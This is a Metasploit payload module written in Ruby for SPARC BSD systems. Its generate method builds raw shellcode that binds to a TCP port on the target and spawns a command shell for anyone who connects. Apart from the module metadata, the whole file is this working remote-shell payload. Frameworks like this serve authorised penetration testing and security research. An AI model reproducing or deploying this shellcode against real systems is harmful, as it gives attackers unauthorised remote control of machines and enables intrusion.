##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 164

  include Msf::Payload::Single
  include Msf::Payload::Bsd
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'BSD Command Shell, Bind TCP Inline',
      'Description'   => 'Listen for a connection and spawn a command shell',
      'Author'        => 'vlad902',
      'License'       => MSF_LICENSE,
      'Platform'      => 'bsd',
      'Arch'          => ARCH_SPARC,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShell))
  end

  def generate
    port    = (datastore['RPORT'] || 0).to_i
    payload =
      "\x9c\x2b\xa0\x07\x94\x1a\xc0\x0b\x92\x10\x20\x01\x90\x10\x20\x02" +
      "\x82\x10\x20\x61\x91\xd0\x20\x08\xd0\x23\xbf\xf8" +
      Rex::Arch::Sparc.set(0xff020000 | port, "l0") +
      "\xe0\x23\xbf\xf0\xc0\x23\xbf\xf4\x92\x23\xa0\x10\x94\x10\x20\x10" +
      "\x82\x10\x20\x68\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x10\x20\x01" +
      "\x82\x10\x20\x6a\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x1a\x40\x09" +
      "\x94\x12\x40\x09\x82\x10\x20\x1e\x91\xd0\x20\x08\xd0\x23\xbf\xf8" +
      "\x92\x10\x20\x03\x92\xa2\x60\x01\x82\x10\x20\x5a\x91\xd0\x20\x08" +
      "\x12\xbf\xff\xfd\xd0\x03\xbf\xf8\x94\x1a\xc0\x0b\x21\x0b\xd8\x9a" +
      "\xa0\x14\x21\x6e\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08" +
      "\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b" +
      "\x91\xd0\x20\x08"
  end

end
